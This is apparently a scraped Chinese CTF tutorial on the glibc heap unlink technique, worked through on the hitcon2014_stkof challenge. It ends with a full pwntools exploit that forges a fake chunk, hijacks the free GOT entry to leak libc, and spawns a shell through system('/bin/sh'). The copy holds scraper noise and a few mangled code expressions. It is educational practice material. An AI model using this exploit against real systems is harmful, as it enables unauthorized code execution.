unlink快速入門

0x01 正常unlink
當一個bin從記錄bin的雙向鏈表中被取下時,會觸發unlink。常見的好比:相鄰空閒bin進行合併,malloc_consolidate時。unlink的過程以下圖所示(來自CTFWIKI)主要包含3個步驟,就是這麼簡單。node

根據p的fd和bk得到雙向鏈表的上一個chunk FD和下一個chunk BK
設置FD->bk=BK
設置BK->fd=FD
在這裏插入圖片描述
下面看一下unlink的源碼。linux

#安裝源碼
apt install glibc-source
#下面目錄下有一個glibc-2.23.tar.xz
/usr/src/glibc/
#能夠拷貝到understand中進行源碼閱讀
1
2
3
4
5
size檢查
第一個要檢查的是須要解鏈bin的size。在堆中有兩個地方存儲了p的size。第一個是當前p->size。第二個是next_chunk§->prev_size。比較兩個大小。
fd和bk檢查
檢查p是否在雙向鏈表中。在雙向鏈表中有兩個指針指向p。第一個是FD->bk,第二個是BK->fd。shell

/ Take a chunk off a bin list /
#define unlink(AV, P, BK, FD) { \
//第一個檢查
if (builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
//第二個檢查
if (
builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
//完成上圖的unlink過程
//具體過程能夠看源碼
} \
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x02 利用思路
要利用unlink首先要繞過前面提到的兩個檢查。繞過size檢查須要能夠修改下一個chunk->prev_size。繞過fd和bk檢查須要可以控制fd和bk。數組

1.第一種利用思路
利用條件緩存

存在UAF能夠修改p的fd和bk
存在一個指針指向p
利用方法ide

經過UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,繞過fd和bk檢查
free下一個chunk,chunk0和chunk1合併,chunk0發生unlink,修改了G_ptr的值
效果函數

修改G_ptr=&G_ptr-0x18。若是可以對G_ptr指向的空間進行修改,則可能致使任意地址讀寫。
在這裏插入圖片描述ui

2.第二種方法思路
這種狀況在作題中出現的狀況比較多。由於malloc是返回的指針若是存儲在bss段或者heap中則正好知足利用條件2。debug

利用條件指針

能夠修改p的下一個chunk->pre_size和inuse位
存在一個指針指向chunk p的內容部分
利用方法

僞造fake_chunk。fakechunk->size=chunk0-0x10,能夠繞過size檢查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,繞過fd和bk檢查。
修改下一個chunk的prev_size=chunksize§-0x10。由於fakechunk比chunk0小0x10。
修改下一個chunk的inuse位。
free下一個堆塊chunk1。fakechunk和chunk1合併,fakechunk發生unlink,修改了G_ptr的值。
效果
修改G_ptr=&G_ptr-0x18。若是可以對G_ptr指向的空間進行修改,則可能致使任意地址讀寫。
在這裏插入圖片描述

0x03 例題 hitcon2014_stkof
1.查看程序保護
能夠修改GOT表,沒有PIE,很好。
在這裏插入圖片描述
試運行,沒有輸出。
在這裏插入圖片描述

2.查看程序
菜單題只是沒有把菜單打印出來。1是add。2是edit。3是free。4是todo沒有實際用途
在這裏插入圖片描述
add函數
add就是正常的add

讀入size
malloc對應的size
0x602100記錄的是已經申請的note數量
0x602140是heaparray指針數組
在這裏插入圖片描述
edit函數
沒有驗證輸入的size大小,存在heap overflow

輸入index
輸入size
輸入content
在這裏插入圖片描述
delete函數

將堆塊釋放
將數組置0
在這裏插入圖片描述
3.利用方法
這裏正好知足第二種利用思路,bss段存在G_ptr指向堆的內容,且能修改下一個堆塊的prev_size和inuse位。

構造fakechunk來unlink使bss段中的堆指針指向附近
利用edit函數,修改函數指針指向free_got
修改free_got爲put_plt,以後再調用free時就會輸出指針指向的內容來泄露libc地址
將free_got改成system地址
調用free函數釋放掉內容爲"/bin/sh"的堆塊來getshell
這裏還有一個問題就是緩衝區的問題。題目並無setbuf,因此IO緩衝區會在程序運行的時候在堆中進行申請。咱們先連續建立3個0x20大小的chunk來查看堆棧排布狀況,方便後續unlink操做。以下圖,第一個申請的堆塊並無和後面幾個連續分佈,因此第一個堆塊不能用來作fakechunk。

在這裏插入圖片描述
建立堆塊

idx1用來解決IO緩存的問題
idx2用來構造fakechunk和idx3來unlink
idx4用來防止和top chunk和並

head = 0x602140 #堆指針數組
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
1
2
3
4
5
6
7
構造完成的堆空間分佈
在這裏插入圖片描述
0x602100存儲了note數量
0x602140存儲了指針數組,索引從1開始
在這裏插入圖片描述
構造fakechunk

以下圖,黃框爲構造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
1
2
3
4
在這裏插入圖片描述
unlink

釋放第3個堆塊,觸發unlink。0x602150中的指針已經指向bss段的空間當中。經過修改數組中的指針來達到任意地址寫的目的

在這裏插入圖片描述
leak libc

將heaparray[1]指針覆蓋爲free_got,heaparray[2]指針覆蓋爲puts_got

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'8+b'b'8+p64(free_got)+p64(puts_got)
edit(2, payload2)
1
2
3
4
5
在這裏插入圖片描述
將free_got的值覆蓋爲puts_plt。下次調用free時實際調用的是puts

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#實際調用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
1
2
3
4
5
6
7
8
9
10
11
在這裏插入圖片描述
getshell
修改free_got爲system,並釋放內容爲’/bin/sh’的堆塊來getshell。

payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
1
2
3
4
5
在這裏插入圖片描述

4.exp
from pwn import *
context.arch = 'amd64'
debug = 1

if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',28755)
elf = ELF('./stkof')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')

def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10

add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'8+b'b'8+p64(free_got)+p64(puts_got)
edit(2, payload2)

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

payload4 = p64(system_addr)
edit(1, payload4)

edit(4, '/bin/sh\x00')
free(4)

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
0x04 總結
當free時(不是fastbin)若是前面或者後面的chunk是空閒的,則會發生合併
若是此時存在G_ptr指向前面的chunk,而且存在覆蓋的話可能存在unsafe_unlink
1.創造fakechunk,這裏針對64位

presize=0
size= 原來size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10
1
2
3
4
2.覆蓋下一個chunk

presize = 原pre_size-0x10
size從0x91改成0x90
1
2
3.觸發unlink

free(chunk1)chunk1會和前面的chunk0進行合併,斷鏈fake_chunk->bk->fd = fake_chunk->fd->bk&G_ptr = &G_ptr-0x18

相關文章
相關標籤/搜索